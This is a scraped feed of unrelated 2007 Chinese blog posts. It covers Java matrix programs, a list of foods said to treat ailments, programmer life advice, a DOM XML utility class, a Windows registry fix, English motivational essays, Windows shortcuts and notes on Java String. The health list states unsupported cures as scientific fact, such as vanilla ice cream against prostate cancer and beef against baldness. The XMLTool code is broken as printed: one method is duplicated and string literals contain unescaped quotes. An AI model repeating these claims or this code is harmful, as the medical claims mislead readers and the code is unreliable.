        Scanner sr = new Scanner(System.in);
        System.out.println("请输入矩阵相关参数:");
        System.out.print("row=");
        row = sr.nextInt();
        System.out.print("col=");
        col = sr.nextInt();

        int[][] array = new int[row][col];
        System.out.println("输入矩阵各元素:");
        for (int i = 0; i < array.length; i++)
         for (int j = 0; j < array[0].length; j++)
          array[i][j] = sr.nextInt();
        System.out.println("============The Matrix is============");
        display(array);
        System.out.println("请输入要删除的矩阵列序号");
        System.out.print("delColNum=");
        int delColNum = sr.nextInt();

        int[][] newarr = delCol(array, delColNum);
        System.out
          .println("============The Matrix after Delete is============");
        display(newarr);

    }

    private static void display(int[][] arr)
    {
        for (int i = 0; i < arr.length; i++)
        {
         for (int j = 0; j < arr[0].length; j++)
          System.out.print(arr[i][j] + " ");
         System.out.println();
        }
    }

    private static int[][] delCol(int[][] arr, int delColNum)
    {
        int[][] tmparr = new int[arr.length][(arr[0].length - 1)];
        for (int i = 0; i < arr.length; i++)
        {
         for (int j = delColNum - 1; j < arr[0].length - 1; j++)
          arr[i][j] = arr[i][j + 1];
         for (int k = 0; k < tmparr[0].length; k++)
          tmparr[i][k] = arr[i][k];
        }
        return tmparr;

    }

    }

    posted @ 2007-08-22 09:35 jadmin 阅读(68) | 评论 (0)编辑 收藏
    蔬菜及粮食是营养物质的“绿色宝库”,是人们维持生命的主要滋养来源。人们要掌握吃的学问,对症进食,择优而食,方可充分利用蔬菜、粮食的药用价值。特别介绍以下18种食品的对症吃法,希望对大家有所帮助。
    ■心脏病与苹果汁
    苹果在所有的水果中是“口碑”最好的,而且适合不同年龄、不同体格的人。最近,美国加利福尼亚大学的研究又发现了苹果的另外一个优点:常喝苹果汁会降低心脏病的患病率。这是因为苹果汁中的抗氧化剂有利于心脏的健康运转。科学家在对25名男女进行的试验中发现:胆固醇也分“好”和“坏”两种,多喝苹果汁可以让“坏”胆固醇阻塞血管的时间比正常情况下晚一些,而“坏”胆固醇阻塞血管的时间越长就说明患心脏病的几率越大。
    ■感冒和大蒜
    当你开始感到嗓子不舒服,鼻涕开始不受控制时,就是感冒的前兆。为了不让感冒病毒大规模地袭击你的身体,赶紧吃一些大蒜会帮助你将没有完全发作的病毒扼杀在摇篮里。这是因为大蒜中含有丰富的抗病毒成分,会增强身体的免疫力。所以,在换季的时候,多吃一些大蒜会帮你应付感冒。
    ■牙痛和茶
    和好友聚会品茶时你也许没有想到:茶不仅对身体健康有益处,而且最近科学家还发现了茶叶的另外一个优点,即:茶叶有保护牙齿的作用。茶水中含有丰富的氟和茶多酚等成分,可以达到防龋固齿的功效。因此,饭后用茶水漱口可以保持口腔卫生。另外,茶叶中的糖、果胶等成分与唾液发生化学反应滋润了口腔的同时,还增强了口腔的自洁能力。
    ■脱发和牛排
    如果说吃牛排可以治疗秃头,相信大部分人一定会大吃一惊。但经过科学研究发现:牛排确有此功效。所以,每次吃饭时千万别忘了吃点儿瘦牛肉。科学证明:经常吃瘦牛肉的人即使不能完全解决脱发问题,至少可以延缓这一天的到来。
    ■牙出血和葡萄柚
    牙龈发炎是让人烦恼的事,不过一旦遇到这种情况也不必担心,因为牙龈发炎其实是体内缺乏维生素C的症状,是你的身体向你发出的求救信号,提醒你该补充维生素了。这时吃一些葡萄柚、柠檬、猕猴桃等含维生素C丰富的水果都会很有帮助,尤其是葡萄柚,效果更是立竿见影。所以,只要养成每天坚持吃一只葡萄柚的习惯,就会帮你解决牙龈发炎的问题。
    ■口气浑浊多喝水
    对于经常需要社交应酬的人来说,口气浑浊可是最大的忌讳。中医认为,口臭与胃火有很大关系,因此,治疗口臭除了注意每天早晚刷牙外,还要合理安排你的食谱。另外一种简单易行的方法也能让你摆脱这个让人尴尬的烦恼,就是每天尽可能地多喝清水。这个方法在治疗口臭的同时,还补充了身体每天所需水分,可谓一举两得。科学研究发现:口气不清新的原因是嘴里有一种叫硫磺的物质,要让它尽快消失,每天多多喝水就解决了。
    ■四肢乏力与香蕉
    热爱运动是件好事,但也要注意“度”的把握,因为运动过量会导致浑身乏力。运动时身体排出大量汗液,水分流失的同时,身体中很多矿物质也随着汗水排出体外,主要是钾和钠两种元素。身体中钠的“库存”量相对较大,而且钠也比较容易从食物中得到补充;但钾元素在体内的含量比较少,因此运动后更要注意选择含有丰富钾元素的食品及时补充。补充钾最理想的选择就是香蕉,因为香蕉中含有丰富的钾元素。在去健身房前,千万别忘了给自己带一两根香蕉。
    ■醉酒与西红柿
    喝醉了酒确实是件麻烦事。喝醉后的呕吐不仅很失态,而且会造成体内的钾、钙、钠等元素的大量流失,醉酒呕吐后一定要及时补充钾、钙、钠等养分。最简单易行的办法就是喝些西红柿汁,因为西红柿汁中丰富的钾、钙、钠成分刚好补充了体内流失元素的不足。
    ■打嗝和糖
    对于治疗打嗝,人们一直有很多偏方,目前最有效的方法就是出其不意时吓唬他一下,但如果这样还是不能止住打嗝的话,这里有一个有效的方法:试试在舌头下面放一勺糖。这种做法的科学解释还不很清楚,有的医生解释说,糖可以刺激喉咙后侧的神经,而一旦神经受到刺激,它会中断体内的神经信号,其中也包括引起打嗝的那条神经。
    ■心脏病和啤酒
    啤酒可以美容已经不再是什么新闻了,但啤酒还有另外一种功效就是:可以减少患心脏病的可能性。实验证明,如果保持一天喝一杯啤酒,就会使患心脏病的可能性减到最小。有趣的是,啤酒的保健功能要严格控制在一天一杯才会有效,一天两杯或两杯以上都不会防治心脏病。看来,啤酒虽好同样需要节制。
    ■高血压和橘子汁
    爱喝橘子汁是个好习惯,尤其是对于那些患高血压的人或是有高血压家族病史的人来说尤为如此。橘子汁不仅味美,而且可以治病。因为如果饮食中钾和钙的含量增加,血压就会自然降低。而橘子汁里恰恰含有丰富的钙、钾和维生素C。有试验表明,血液中含充足维生素C的人,死于心脏病的可能性要小得多。
    ■鱼治疗哮喘
    最新的研究发现,多吃鱼类可以润肺、补肺,从而缓解哮喘病的症状。这是因为鱼肉中含有丰富的镁元素,难怪急诊室的医生都用含镁类药物来治疗哮喘病人。对于患严重哮喘的病人,医生建议:最好每日三餐中保证吃至少一顿的鱼类或其他海鲜类食物。另外,在绿色蔬菜中,菠菜也有同样的功效。
    ■前列腺癌和香草冰激凌
    前列腺癌一直是男人的最大杀手,据说多吃西红柿会有所帮助,因为西红柿里面有西红柿素。如果你不爱吃西红柿的话,另外一个既能治病又能解馋的方法就是吃香草冰激凌。这是因为香草冰激凌里有一种叫做硼的元素,体内的硼越多,前列腺癌的发病机会就越小。
    ■记忆力和咖啡
    咖啡除了可以在早上帮你尽快消除困意,还有很多其他的功用。荷兰的科学家曾做过一个试验:试验前,被测试者喝下含32毫克咖啡因的咖啡后,不但记忆力加强,阅读速度提高,而且头脑也变得更加清醒。所以,想要刺激大脑内存速度,提高工作效率的话,最好提前半个小时喝上一杯咖啡。但是,需要提醒你注意的是:咖啡也不能喝得太多。否则会产生依赖反应,久而久之还会上瘾。如果一旦上瘾,想戒可就难了。
    总而言之,日常生活中,人们“对症进食”,就会有益于健康长寿。如果想“吃”好,每个人应该根据自己的年龄、疾病、体质来“对症进食”。
    ■蔬菜和关节炎
    希腊的科学家最近做的实验表明:绿色蔬菜吃得越多,患关节炎的可能性就越小。这是科学家针对330人进行的试验中得出的结论。而且,爱吃蔬菜的人,老年患关节炎的可能性是不爱吃蔬菜人的1/4。因此,为了健康的骨骼,千万不要忘记在餐桌上多增些绿色。
    ■视线模糊和绿色蔬菜
    眼睛只要睁着,就随时有被感染的可能。绿色蔬菜可以补充足够的抗氧化素,因此可以保护眼睛的健康,让眼睛免受外界的侵害。所以不妨在每日的饭桌上多一点绿色蔬菜,例如芹菜、黄瓜等等都对健康大有益处。
    ■皮肤青紫与花椰菜
    有些人的皮肤一旦受到小小的碰撞和伤害就会变得青一块紫一块的,这是因为体内缺乏维生素(尤其是维生素K)的缘故。补充维生素K的最佳途径就是多吃花椰菜,据调查显示,每周吃几次花椰菜会使血管壁加厚、加强,而且不容易破裂。
    ■男性不育与五谷杂粮
    叶酸是女人在做母亲前必须补充的一种维生素,因为它有利于婴儿神经系统的健康。男性其实也需要补充叶酸,因为最新的调查结果显示:男性精子含量低也与体内叶酸缺乏有关,因为叶酸可以帮助DNA的合成。让人没有想到的是,补充叶酸最简单直接的途径就是多吃粗粮。因为在五谷杂粮中叶酸含量是很高的。因此,对于想做父母的夫妇来说,补充叶酸是夫妻两个人的事。
    总而言之,日常生活中,人们“对症进食”,就会有益于健康长寿。如果想“吃”好,每个人应该根据自己的年龄、疾病、体质来“对症进食”。
    posted @ 2007-08-21 18:51 jadmin 阅读(56) | 评论 (0)编辑 收藏

    //转载请注明出处:http://hi.baidu.com/jadmin/blog/item/163ed2f8a8e88b0dd8f9fd46.html
    /**
    * @(#)MatrixMultiply.java
    *
    *
    * @author JAdmin
    * @version 1.00 2007/8/21
    */

    import java.util.Scanner;

    public class MatrixMultiply
    {
    public static void main(String[] args)
    {
        int m,n,p;
        System.out.println("请输入3个矩阵参数m,n,p.示例a[m][n]*b[n][p]=c[m][p]");
        Scanner sr = new Scanner(System.in);
        System.out.print("m=");
        m = sr.nextInt();
        System.out.print("n=");
        n = sr.nextInt();
        System.out.print("p=");
        p = sr.nextInt();

        int[][] a = new int[m][n];
        int[][] b = new int[n][p];
        int[][] c = new int[m][p];

        System.out.println("请输入数组a[" + m + "][" + n + "]");
        input(a);
        System.out.println("请输入数组b[" + n + "][" + p + "]");
        input(b);

        //以下开始计算c[][]
        for(int i = 0;i < c.length;i++)
         for(int j = 0;j < c[0].length;j++)
          c[i][j] = getMultiItem(a,b,i,j);

        System.out.println("************The matrix a[][]************");
        display(a);
        System.out.println("************The matrix b[][]************");
        display(b);
        System.out.println("************The matrix c[][]************");
        display(c);
    }

    private static void input(int[][] arr)
    {
        Scanner sr = new Scanner(System.in);
        for(int i = 0;i < arr.length;i++)
         for(int j = 0;j < arr[0].length;j++)
           arr[i][j] = sr.nextInt();
    }

    private static void display(int[][] arr)
    {
        for(int i = 0;i < arr.length;i++)
        {
         for(int j = 0;j < arr[0].length;j++)
          System.out.print(arr[i][j]+" ");
         System.out.println();
        }
    }

    private static int getMultiItem(int[][] a,int[][] b,int p,int q)
    {
        //计算元素c[p][q]
        int tmp = 0;

        for(int i = 0;i < a[0].length;i++)
         tmp += a[p][i]*b[i][q];
        return tmp;
    }
    }

    posted @ 2007-08-21 18:38 jadmin 阅读(57) | 评论 (0)编辑 收藏
    生活在现在
          我们大部分的烦恼来自于对过去的惦念与懊悔,过去的辉煌与暗淡占据了我们很多的回忆空间,我们经常为昨天的洋相与错误而长久地悔恨,其实也只有自己才会很在意自己过去的表现,对别人而言,你过去的表现很快就过眼云烟,因此我们不需要沉醉于过去的辉煌,也不需要沉沦于过去的不幸,我们要将精神集中在今天要做什么以及如何去做才最好,尤其像我们程序员这个职业,技术革新太快,稍微停留我们就会变得过时,昨天你所开发的产品或许不错,但明天可能很快就变得陈旧不堪,你需要在今天不断地吸取新技术,不断地创新,不断地完善,才能保持产品以及自身的竞争力,生活在现在是一种积极进取的人生态度,记住:过去的已过去,未来还不可靠,只有今天才是真实可靠的。
    生活在这里
         搞IT的似乎注定要“飘来飘去”,人员流动性应是所有行业中最高的,毕业七年,服务过4家公司,算是比较稳定的人了,在有些公司工作一年多就成了老员工了,应该说有时是不太守职业道德的,当我发现所在的公司并非自己的理想时,我的心就开始先飘了,人在心不在,这种状况导致工作的效果与效率都不理想,离开只是时间问题,我相信很多朋友也有过这种情况,这是不负责的,对公司与自己都不好,我们尽力做到在那里工作一天就尽责尽力一天, 打工也好创业也好,都要不断提高自己,凡事尽力做到问心无愧,我们要记住,我们现在就生活在此处此地,而不是遥远的其他地方。
    停止猜想,面向实际
           我们很多心理上的障碍,往往是没有实际根据的“想当然”造成的。面对问题,有些人喜欢猜想,而不是去调查事实与解决问题,比如项目经理早上因进度缓慢问题将你骂了一顿,然后你就因此而联想下去,心里在嘀咕,项目经理是不是对你有意见?是不是不看重你?这个项目如果做不好就完了等等诸如此类的猜想,其实项目经理只是就事论事,并不针对你个人,他是希望你去想方设法将进度跟上来,或加加班,或与同事一起互相帮助一下,而你却活在自己的猜测里久久不能摆脱,结果会越来越严重,所以无论面对任何困难或责备,你需要做的是面对实际,寻找问题所在,并设法解决问题,而不要去胡乱猜想。
    暂停思考,多去感受
           我对这一点的理解就是要劳逸结合,我们这个职业属于重型脑力劳动,我们经常长时间地思考,经常长时间地coding,有时因为一个BUG,我们日日夜夜冥思苦想,有时为了能让项目按进度完成,日以继夜地加班,都快变成了一台没有情感的机器,我建议朋友们偶尔暂停一下思考,花一些时间去观赏美景或美女,多聆听悦耳美妙的音乐,多去感受大自然的花草树木,休假时出趟远门旅游,如果身体允许,下雨天去踢场足球,我们应尽力让生活变得丰富多彩。
    接受不愉快的情感
         矛盾无处不在,再乐观的人也会有不愉快的时候,一个优秀的程序员应会处理各种各样的关系,工作上有与客户的关系,与市场人员的关系,与测试人员的关系,与客服人员的关系,与上司的关系,与同事的关系,生活中有与家人的关系,与朋友的关系,与陌生人的关系,我们无法要求所接触的每个人都是我们所想象的,在相处的过程中一定会产生不愉快的情绪,其实愉快与不愉快是相对而言的,同时也是相互存在的,恰当地处理便会相互转化,程序BUG出现了,你一时解决不了,测试人员会追着要你赶快搞定,你变得烦躁与恼火,不停地思索,不断地调试,终于结束了,这时你会有一种如释重负的感觉,心情也会变得愉快起来。
    不要随意下判断
          我们往往容易在别人稍有差错或失败之时,就马上下结论,这种方式容易与别人产生摩擦与冲突,结果自己也会烦恼与苦闷。对他人的态度和处理人际关系的正确做法应是:先不要对人或事下判断,先要说出你是如何认为的。这样对方会容易接受,往往你说完自己的看法后,对方也自然而然地知道你的结论。
    不要盲目地崇拜偶像和权威
         大多人都需要一个精神寄托的对象,这个对象的成就以及影响力也往往成为我们的追求目标,比如我曾崇拜周恩来,因为他的个人魅力,我曾崇拜张学友,因为他的歌唱得出神入化,我曾崇拜温伯格,因为他的书写得好,可见崇拜或喜欢一个人,总是有一个理由的,我们不能因为这个理由而全部肯定或接受这个对象的一言一语一举一动,那样会禁锢我们的头脑束缚我们的手脚,使我们失去独立思考的习性。
    我就是我
             我听过余世维博士的讲座,在他的观点中有一点是强调以我或我们为主,不要去看他们做什么,不要总说别人怎么样,而要关注我们能做什么,我们怎么样,出错了要敢于承认是我或我们的错,而不要将责任推到别人的身上。余博士的这个观点以及所引用的例子让阿蒙受益无穷,决心从我做起,从现在做起,不再怨天尤人,充分发挥自己的潜能与优势,竭尽全力做好自己能做的事情。
    对自己负责
          高考的成绩并不好,可以说与我要求的目标差得太远,大一的时候总活在不断地为自己辩护的状态之中,我有时认为失败的原因在家境不好,经济压力太大,使我不能专心学习,有时又将原因归于身体不好,影响学习……这是在逃避责任和现实,将自已的过错与失败都推到客观原因上,失败或错误的原因总是说也说不完,项目没有正常完成,是谁的错,是什么错?需求不明,设计不好,管理不佳,还是程序员的水平不高?有谁能站出来承担自己的那份责任?
    正确地自我估计
          无论在工作中还是社会上,我们每个人都占据着一个特定的位置,所以我们需要按这个位置的要求,去履行我们的权利与义务。在一个项目中,如果你是一个系统设计工程师,那么你就全心全力地去完成系统的概要设计与详细设计,并处理好与项目经理、系统分析员、软件开发人员之间的关系,把自己摆在准确的位置上,如果你不按照项目一致规定和大家公认的规范去做,那你将会受到项目其他人员的谴责和反对,也会使项目的管理变得混乱。所以正确地自我评估是很重要的,它可以让我们始终保持冷静,不再好高骛远,也不会骄傲自满或过分自卑,它让我们脚踏实地做事,认认真真做人。
          十大终于写完了,感觉有一丝成就感,尽管有点教条主义的味道,但出发点应是好的,未来的程序员不应是只会埋头苦干的机器,我们需要生动有趣的生活来保持我们的创新能力。在此时抛出十大原则,目的是:当程序员朋友们从远方回来,从疯狂归来之时,能看到一些理性的思维与观点,并好好地自我评估,从我做起,从现在做起,去一步一个脚印地实现自己的梦想。
    posted @ 2007-08-20 21:25 jadmin 阅读(55) | 评论 (0)编辑 收藏

      文档对象模型 (DOM) 是一个文档标准,对于完备的文档和复杂的应用程序,DOM 提供了大量灵活性。DOM标准是标准的。它很强壮且完整,并且有许多实现。这是许多大型安装的决定因素--特别是对产品应用程序,以避免在API发生改变时进行大量的改写。

      以上是我在选择处理XML数据时之所以没有选择JDOM或者dom4j等其它面向对象的标准的原因,不过也由于DOM从一开始就是一种与语言无关的模型,而且它更趋向用于像C或Perl这类语言,没有利用Java的面向对象的性能,所以在使用的过程中也遇到了不少的麻烦,今天这里做一个小结。另外,我目前使用XML主要是作为数据传输的统一格式,并统一用户界面展示的接口,应用的面并不是很广,所以使用到的DOM的内容其实不多。

      在准备使用它的时候,是做了充足的准备的,也有遇到困难的准备,所以一开始就有了一个简单的工具类来封装DOM对象使用时必要的公共方法,实际证明这样做是很明智的,一个简单的创建Document对象的操作,要是每次都需要写上5行以上代码,并且还要处理那些烦人的Exception,实在是会打击大家的积极性,所以在最初,做了一个XMLTool类,专门封装了如下的公共方法:

      1、 Document对象创建(包括空的Document对象创建,以一个给定Node节点作为根节点创建。

      2、 将一个规范的XML字符串转换成一个Document对象。

      3、 从物理硬盘读取一个XML文件并返回一个Document对象。

      4、 将一个Node对象转换成字符串。

      其中每个方法都截获相关的DOM操作所抛出的异常,转换成一个RuntimeException抛出,这些异常在实际使用过程中,一般状况下其实都不会抛出,特别是象生成一个Document对象时的ParserConfigurationException、转换Node节点成字符串时要生成一个Transformer对象时的TransformerConfigurationException等等,没有必要在它们身上花时间精力。而且真就出了相关的异常的话,其实根本没有办法处理,这样的状况通常是系统环境配置有问题(比如必要的DOM实现解析器等包没有加入环境),所以包装该异常时只是很简要的获取其Message抛出。

      代码如下:

    /**
    * 初始化一个空Document对象返回。
    * @return a Document
    */
    public static Document newXMLDocument() {
     try {
      return newDocumentBuilder().newDocument();
     } catch (ParserConfigurationException e) {
       throw new RuntimeException(e.getMessage());
     }
    }
    /**
    * 初始化一个DocumentBuilder
    * @return a DocumentBuilder
    * @throws ParserConfigurationException
    */
    public static DocumentBuilder newDocumentBuilder()
    throws ParserConfigurationException {
    return newDocumentBuilderFactory().newDocumentBuilder();
    }
    /**
    * 初始化一个DocumentBuilderFactory
    * @return a DocumentBuilderFactory
    */
    public static DocumentBuilderFactory newDocumentBuilderFactory() {
     DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
     dbf.setNamespaceAware(true);
     return dbf;
    }
    /**
    * 将传入的一个XML String转换成一个org.w3c.dom.Document对象返回。
    * @param xmlString 一个符合XML规范的字符串表达。
    * @return a Document
    */
    public static Document parseXMLDocument(String xmlString) {
     if (xmlString == null) {
      throw new IllegalArgumentException();
     }
     try {
      return newDocumentBuilder().parse(
       new InputSource(new StringReader(xmlString)));
     } catch (Exception e) {
      throw new RuntimeException(e.getMessage());
     }
    }
    /**
    * 给定一个输入流,解析为一个org.w3c.dom.Document对象返回。
    * @param input
    * @return a org.w3c.dom.Document
    */
    public static Document parseXMLDocument(InputStream input) {
     if (input == null) {
      throw new IllegalArgumentException("参数为null!");
     }
     try {
      return newDocumentBuilder().parse(input);
     } catch (Exception e) {
      throw new RuntimeException(e.getMessage());
     }
    }
    /**
    * 给定一个文件名,获取该文件并解析为一个org.w3c.dom.Document对象返回。
    * @param fileName 待解析文件的文件名
    * @return a org.w3c.dom.Document
    */
    public static Document loadXMLDocumentFromFile(String fileName) {
     if (fileName == null) {
      throw new IllegalArgumentException("未指定文件名及其物理路径!");
     }
     try {
      return newDocumentBuilder().parse(new File(fileName));
     } catch (SAXException e) {
      throw new IllegalArgumentException("目标文件(" + fileName + ")不能被正确解析为XML!
    " + e.getMessage());
     } catch (IOException e) {
      throw new IllegalArgumentException("不能获取目标文件(" + fileName + ")!
    " + e.getMessage());
     } catch (ParserConfigurationException e) {
      throw new RuntimeException(e.getMessage());
     }
    }
    /**
    * 给定一个节点,将该节点加入新构造的Document中。
    * @param node a Document node
    * @return a new Document
    */
    public static Document newXMLDocument(Node node) {
     Document doc = newXMLDocument();
     doc.appendChild(doc.importNode(node, true));
     return doc;
    }
    /**
    * 将传入的一个DOM Node对象输出成字符串。如果失败则返回一个空字符串""。
    * @param node DOM Node 对象。
    * @return a XML String from node
    */
    public static String toString(Node node) {
     if (node == null) {
      throw new IllegalArgumentException();
     }
     Transformer transformer = newTransformer();
     if (transformer != null) {
      try {
       StringWriter sw = new StringWriter();
       transformer.transform(new DOMSource(node),
        new StreamResult(sw));
        return sw.toString();
      } catch (TransformerException te) {
       throw new RuntimeException(te.getMessage());
      }
     }
     return errXMLString("不能生成XML信息!");
    }
    /**
    * 将传入的一个DOM Node对象输出成字符串。如果失败则返回一个空字符串""。
    * @param node DOM Node 对象。
    * @return a XML String from node
    */
    public static String toString(Node node) {
     if (node == null) {
      throw new IllegalArgumentException();
     }
     Transformer transformer = newTransformer();
     if (transformer != null) {
      try {
       StringWriter sw = new StringWriter();
       transformer.transform(new DOMSource(node),new StreamResult(sw));
       return sw.toString();
      } catch (TransformerException te) {
        throw new RuntimeException(te.getMessage());
      }
     }
     return errXMLString("不能生成XML信息!");
    }
    /**
    * 获取一个Transformer对象,由于使用时都做相同的初始化,所以提取出来作为公共方法。
    * @return a Transformer encoding gb2312
    */
    public static Transformer newTransformer() {
     try {
      Transformer transformer =TransformerFactory.newInstance().newTransformer();
      Properties properties = transformer.getOutputProperties();
      properties.setProperty(OutputKeys.ENCODING, "gb2312");
      properties.setProperty(OutputKeys.METHOD, "xml");
      properties.setProperty(OutputKeys.VERSION, "1.0");
      properties.setProperty(OutputKeys.INDENT, "no");
      transformer.setOutputProperties(properties);
      return transformer;
     } catch (TransformerConfigurationException tce) {
      throw new RuntimeException(tce.getMessage());
     }
    }
    /**
    * 返回一段XML表述的错误信息。提示信息的TITLE为:系统错误。之所以使用字符串拼装,主要是这样做一般
    * 不会有异常出现。
    * @param errMsg 提示错误信息
    * @return a XML String show err msg
    */
    public static String errXMLString(String errMsg) {
     StringBuffer msg = new StringBuffer(100);
     msg.append("<?xml version="1.0" encoding="gb2312" ?>");
     msg.append("<errNode title="系统错误" errMsg="" + errMsg + ""/>");
     return msg.toString();
    }
    /**
    * 返回一段XML表述的错误信息。提示信息的TITLE为:系统错误
    * @param errMsg 提示错误信息
    * @param errClass 抛出该错误的类,用于提取错误来源信息。
    * @return a XML String show err msg
    */
    public static String errXMLString(String errMsg, Class errClass) {
     StringBuffer msg = new StringBuffer(100);
     msg.append("<?xml version="1.0" encoding="gb2312" ?>");
     msg.append("<errNode title="系统错误" errMsg=""+ errMsg
      + "" errSource=""
      + errClass.getName()
      + ""/>");
     return msg.toString();
    }
    /**
    * 返回一段XML表述的错误信息。
    * @param title 提示的title
    * @param errMsg 提示错误信息
    * @param errClass 抛出该错误的类,用于提取错误来源信息。
    * @return a XML String show err msg
    */
    public static String errXMLString(
     String title,
     String errMsg,
     Class errClass) {
      StringBuffer msg = new StringBuffer(100);
      msg.append("<?xml version="1.0" encoding="gb2312" ?>");
      msg.append("<errNode title=""
       + title
       + "" errMsg=""
       + errMsg
       + "" errSource=""
       + errClass.getName()
       + ""/>");
      return msg.toString();
     }

    posted @ 2007-08-20 02:22 jadmin 阅读(80) | 评论 (0)编辑 收藏

    前几天装了个Firefox2.0.6浏览器,感觉性能确实不错,但就是太耗内存了,最后决定还是用IE+GB,卸掉!

    谁知卸了Firefox后,硬盘上所有的htm和html文件的图标都关联失败了,上网查了下,原来装Firefox的时候,注册表被强行修改了,解决如下:

    进入注册表,依次找到HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.htm和HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.html

    把他们默认值改成htmlfile,再重启下机器就OK了.

    posted @ 2007-08-20 02:13 jadmin 阅读(65) | 评论 (0)编辑 收藏

    Imagine life as a game in which you are juggling some five balls in the air. You name them: Work, Family, Health, Friends, Spirit. And you're keeping all these in the air. You will soon understand that work is a rubber ball. If you drop it, it will bounce back. But the other four balls-family, health, friends and spirit are made of glass. If you drop one of these, it will be irrevocably scuffed, marked, nicked, damaged or even shattered. They will never be the same. You must understand that and strive for balance in your life.

    How?

    Don't undermine your worth by comparing yourself to others. It is because we are different that each of us is special.

    Don't set your goals by what other people deem important. Only you know what is best for you.

    Don't take for granted the things closest to your heart. Cling to them as you would to your life, for without them, life is meaningless.

    Don't let your life slip through your fingers by living in the past or for the future. By living your life one day at a time, you live all the days of your life.

    Don't give up when you still have something to give. Nothing is really over until the moment you stop trying.

    Don't be afraid to admit that you are less than perfect. It is this fragile thread that binds us each together.

    Don't be afraid to encounter risks. It is by taking chances that we learn how to be brave.

    Don't shut love out of your life by saying it's impossible to find. The quickest way to receive love is to give; the fastest way to lose love is hold it too tightly; and the best way to keep love is to give it wings.

    Don't run though life so fast that you forget not only where you've been, but also where you are going.

    Don't forget, a person's greatest emotional need is to feel appreciated.

    Don't be afraid to learn. Knowledge is weightless, a treasure you can always carry easily.

    Don't use time or words carelessly. Neither can be retrieved.

    Life is not a race, but a journey to be savored each step of the way.

    Yesterday is history. Tomorrow is mystery and Today is a gift: that's why we call it "The Present".

    posted @ 2007-08-19 05:27 jadmin 阅读(44) | 评论 (0)编辑 收藏

    记住,从现在开始,多想想你拥有的,而不是你想要的。如果这样做,你的生活会比以前更美好,那种感受或许将是你生命中的第一次,你将会懂得心满意足的含义。

    One of the more pervasive and destructive mental tendencies I've seen is that of focusing on what we want instead of what we have. It doesn't seem to make my difference how much we have, we just keep expanding our list of desires, which guarantees we will remain dissatisfied. The mind-set that says "I'll be happy" when this desire is fulfilled is the same mind-set that will repeat itself once that desire is met.

    We want this or that. If we don't get what we want, we keep thinking about all that we don't have and we remain dissatisfied. If we do get what we want, we simply recreate the same thinking in our new circumstances. So, despite getting what we want, we still remain unhappy. Happiness can't be found when we are yearning for new desires.

    Luckily, there is a way to be happy. It involves changing the emphasis of our thinking from what we want to what we have. Rather than wishing you were able to take a vacation to Hawaii, think of how much fun you have had close to home. The list of possibilities is endless! Each time you notice yourself falling into the "I wish life were different" trap, back off and start over. Take a breath and remember all that you have to be grateful. When you focus not on what you want, but on what you have, you end up getting more of what you want anyway. If you focus on the good qualities of your spouse, she'll be more loving. If you are grateful for your job rather than complaining about it, you'll do a better job, be more productive, and probably end up getting a raise any-way. If you focus on ways to enjoy yourself around home rather than waiting to enjoy yourself in Hawaii, you'll end up having more fun. If you ever do get to Hawaii, you'll be in the habit of enjoying yourself. And, if by some chance you don't, you have a great life anyway.

    Make a note of yourself to start thinking more about what you have than what you want. If you do, your life will start appearing much better than before. For perhaps the first time in your life, you'll know what it means to feel satisfied.

    posted @ 2007-08-19 05:24 jadmin 阅读(60) | 评论 (0)编辑 收藏

    Windows自推出以来一直以其快捷的操作,简单的界面,实用的功能,强大的多媒体功能等诸多特性为买点长期占据着操作系统的王座。并且我们使用Windows也已经有数个春秋了,但我们真的对Windows操作了如执掌了吗?真的知道如何操作吗?以下列出一些比较实用的快捷键:

    CTRL+A:选中活动窗口的所有内容
    CTRL+C:把选中的东西复制到粘贴板
    CTRL+F:显示“查找和替换”对话框
    CTRL+G:显示定位对话框
    CTRL+N:显示新建对话框
    CTRL+O:显示打开对话框
    CTRL+P:显示打印对话框
    CTRL+S:保存当前文档
    CTRL+V:粘贴
    CTRL+X:剪切
    CTRL+Z:撤销
    ALT+F4:关闭当前活动窗口
    CTRL+拖放文件:复制拖放的文件
    CTRL+ESC:显示开始菜单
    CTRL+F6:打开活动应用程序的下一个文档窗口
    ALT+ENTER:显示选中对象的属性
    ALT+F4:关闭活动项目或者退出活动的程序
    ALT+空格:打开当前活动窗口的快捷菜单
    ALT+TAB:在打开窗口间切换
    ALT+ESC:以打开的顺序切换窗口
    F1:提供当前窗口或者选中项目的帮助文件
    F2:重命名选中的项目
    F3:搜索文件或文件夹
    F4:显示我的电脑或Windows Explorer中的地址栏
    F5:刷新活动窗口
    F6:在当前窗口中的元素间切换,与TAB键功能一样
    F10:激活当前窗口的菜单栏
    Win:显示或隐藏开始菜单
    Win+BREAK:显示系统属性对话框
    Win+D:显示桌面
    Win+M:最小化所有窗口
    Win+SHIFT+M:恢复最小化窗口
    Win+E:打开我的电脑
    Win+F:搜索文件或文件夹
    CTRL+Win+F:搜索计算机
    Win+F1:显示Windows帮助文件
    Win+L:锁住键盘
    Win+R:打开运行窗口
    Win+U:打开辅助工具管理器
    TAB:在选项间切换
    SHIFT+TAB:在选项间切换,顺序与TAB相反
    CTRL+TAB:在标签间进行切换
    CTRL+SHIFT+TAB:在标签间反向切换
    CTRL+SHIFT+ESC:打开Windows任务管理器
    ALT+带下划线的字母:运行相应的命令或选择相应的选项
    空格键:如果焦点选中复选框,选择或反选复选框
    Win→U→U:快速关机(→表示连续分开执行)

    以下的快捷键用于与Windows资源管理器类型的程序:
    NUM LOCK+星号(*):显示选中文件夹的所有子文件夹(如果系统里的文件很多,反映会很慢哦~)
    NUM LOCK+加号(+):显示选中文件夹的内容
    NUM LOCK+减号(—):折叠选中文件夹

    posted @ 2007-08-19 05:12 jadmin 阅读(63) | 评论 (0)编辑 收藏

    String的创建

       String s = "hello";
       JVM先根据内容"hello"查找对象,如果没有找到,则在heap上创建新对象,并将其赋予s1,否则使用已经存在的对象

       String s = new String("hello");
       JVM直接在heap上创建新的对象,所以在heap中会出现内容相同,地址不同的String对象


    String的比较

       "=="         比较地址
       "equals"     比较内容

       举例:
       String s1 = "hello";
       String s2 = "hello";
       String s3 = new String("hello");

       s1 == s2;                // true         地址相同
       s1 == s3;                // false        地址不同
       s1.equals(s2);           // true         内容相同
       s1.equals(s3);           // true         内容相同


    intern() 方法

        查找内容相同(equals())的字符串

        String s1 = "hello";                 // hello不存在,jvm创建新对象 (1)
        String s2 = new String("hello");     // 创举新对象 (2),这时heap中存在两个内容为hello的对象
        s1 == s2;            // false         // 地址不同
